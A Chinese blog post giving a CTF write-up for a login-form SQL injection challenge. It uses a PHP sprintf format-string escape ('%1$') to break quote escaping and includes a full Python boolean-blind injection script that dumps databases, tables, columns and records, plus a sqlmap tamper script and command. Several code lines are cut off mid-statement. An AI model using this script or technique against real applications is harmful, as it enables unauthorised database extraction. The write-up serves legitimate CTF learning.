[迎圣诞，拿大奖] Sqli writeup

原创

Flyour 于 2018-03-31 00:56:53 发布 934 收藏 1
分类专栏： ctf 文章标签： ctf sqlmap sql注入

本文链接：https://blog.csdn.net/m0_37921080/article/details/79764911

Sqli 的writeup

- 拿到题目看到的就是一个登录框，可以根据经验进行尝试一下用户名=amdin,密码=admin,得到的结果是password error。然后随便换一个其他的名字进行登录，发现得到的结果是username error。从这里可以看到响应结果会反映出是用户名出错，还是密码出错。
- 然后尝试进行注入，试了万能密码等注入，结果一直是username error。一开始我以为是waf进行了字符过滤，然后尝试转换编码注入，转换为url编码后发现有了不一样的响应

> Warning: sprintf(): Too few arguments in /var/www/html/index.php on line 18
> Warning: mysqli::query(): Empty query in /var/www/html/index.php on line 19

经过确认，发现这个报错是由%引起的，而sprintf()是格式化字符串的函数，结合报错可以大致推断出网站代码有这样的语句：

```
$name = sprintf("username = %s", $username);
$sql = sprintf("select * from table where $name and passwrod = %s",$password)
```

可以看到，当我们的username 中含有%时，在第二个sprintf函数中就会出现too few arguments 的问题，语言是原字符串中每有一个%，就应该有一个替换参数。
* 看到sprintf函数时，我们就应该想到php的字符串格式化逃逸漏洞，这个漏洞导致的结果是会将%1$/' 变为 ' ，也就是说绕过了单引号的转换，一般情况下sql语句中的单引号都会被转换为\' ,这不利于我们进行单引号的闭合，借此漏洞，我们完成对sql语句的注入.
* 由于该页面的响应只有两种，没有显位，即没有回显，我们无法直接通过页面的显示来得到数据库内容，那么就只有通过布尔值盲注了。
* 布尔值无法用手工完成，要靠脚本完成，脚本如下：

```
# -*- coding: utf-8 -*-

import requests

namechr_list = list(range(97, 123)) + [95] + list(range(65, 91)) + list(range(48, 58))
contentchr_list = namechr_list + list(range(123, 127)) + list(range(32, 48)) + list(range(58, 65)) + li

url = 'http://c64f932e4d0944dbb11ec1dfb2908ca71e781b2c021c4a33.game.ichunqiu.com/'


def judge_response(name):
```

```
    headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
    payload = dict(username=name, password='test')
    response = requests.post(url, data=payload, headers=headers)
    judgement = response.text.split('!')[0]
    if judgement == 'password error':
        return True
    elif judgement == 'username error':
        return False


def database_length():
    for index in range(20):
        name_argv = "admin%1$'" + " and length(database())= %d ;#" % (index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False


def database_name_test(location):
    for index in namechr_list:
        name_argv = "admin%1$'" + " and ascii(substr(database(), %d, 1)) = %d ;#" % (location, index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return chr(index)
    return False

def database_name(len):
    name = ''
    for index in range(1, len + 1):
        name = name + database_name_test(index)
    return name


def tables_number():
    for index in range(100):
        name_argv = "admin%1$'" + " and (select count(table_name) from information_schema.tables where
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def table_length(num):
    for index in range(100):
        name_argv = "admin%1$'" + " and (select length(table_name) from information_schema.tables where
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def table_name(num, table_len):
    name = ''
    for name_index in range(1, table_len + 1):
        for chr_index in namechr_list:
            name_argv = "admin%1$'" + " and ascii(substr((select table_name from information_schema.tab
            boolean = judge_response(name_argv)
            if boolean == True:
                name = name + chr(chr_index)
                break
    return name
```

```python
def columns_number(table_name):
    for index in range(100):
        name_argv = "admin%1$' and (select count(column_name) from information_schema.columns  where ta
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def column_length(num, table_name):
    for index in range(100):
        name_argv = "admin%1$' and (select length(column_name) from information_schema.columns where ta
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def column_name(num, table_name, column_len):
    # 注意，num要从0开始
    name = ''
    for name_index in range(1, column_len + 1):
        for chr_index in namechr_list:
            name_argv = "admin%1$' and ascii(substr((select column_name from information_schema.columns
            boolean = judge_response(name_argv)
            if boolean == True:
                name = name + chr(chr_index)
                break
    return name


def record_number(table_name):
    for index in range(100):
        name_argv = "admin%1$' and (select count(*) from {}) = {} ;#".format(table_name, index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def record_length(num, column_name, table_name):
    for index in range(100):
        name_argv = "admin%1$' and (select length({}) from {} limit {}, 1) = {} ;#".format(column_name,
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def record_value(num, column_name, table_name, record_len):
    record = ''
    for record_index in range(1, record_len + 1):
        for chr_index in contentchr_list:
            name_argv = "admin%1$' and ascii(substr((select {} from {} limit {} ,1), {}, 1)) = {} ;#".f
            boolean = judge_response(name_argv)
            if boolean == True:
                record = record + chr(chr_index)
                break
        print(record)
    return record

if __name__ == '__main__':
```

```
    data_len = database_length()
    name = database_name(data_len)
    print(" database : %s" % name)
    tab_number = tables_number()
    for table_index in range(tab_number):
        tab_length = table_length(table_index)
        tab_name = table_name(table_index, tab_length)
        print("  table %d : %s" % (table_index + 1, tab_name))
        columns_num = columns_number(tab_name)
        for column_index in range(columns_num):
            column_len = column_length(column_index, tab_name)
            column_nam = column_name(column_index, tab_name, column_len)
            print("     column %d : %s" % ((column_index + 1), column_nam))
            record_num = record_number(column_nam)
            for record_index in range(record_num):
                record_len = record_length(record_index, column_nam, tab_name)
                record_content = record_value(record_index, column_nam, tab_name, record_len)
                print("         %s" % record_content)
```

使用时只需要修改其中的url即可。
其本质还是根据布尔值进行盲。如果不理解可以到网上搜索以下。

不过写这么长的脚本毕竟是一件麻烦的事情，对于布尔值盲注这样暴力的工作，我们可以用sqlmap来节约劳动力。
首先要利用格式化字符串逃逸漏洞，那么我们就要为sqlmap注入写一个专门的脚本,内容如下:

```
# -*- coding: utf-8 -*-

# !/usr/bin/env python
"""
v0.0.1
2018.3.30
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    """
    通过格式化字符串漏洞来完成对单引号的闭合
    """
    return payload.replace("'", "%1$'")
```

我们把这个脚本命名为second.py，注意，要在存放该脚本的文件夹内新建一个 _ *init* _.py的空文件。
然后就是利用sqlmap进行注入了.
命令大致如下：
sqlmap -r “request.txt” -p username –level 3 –dbms mysql –tamper second.py
如有不会可以查找：
sqlmap post注入方法
sqlmap 使用方法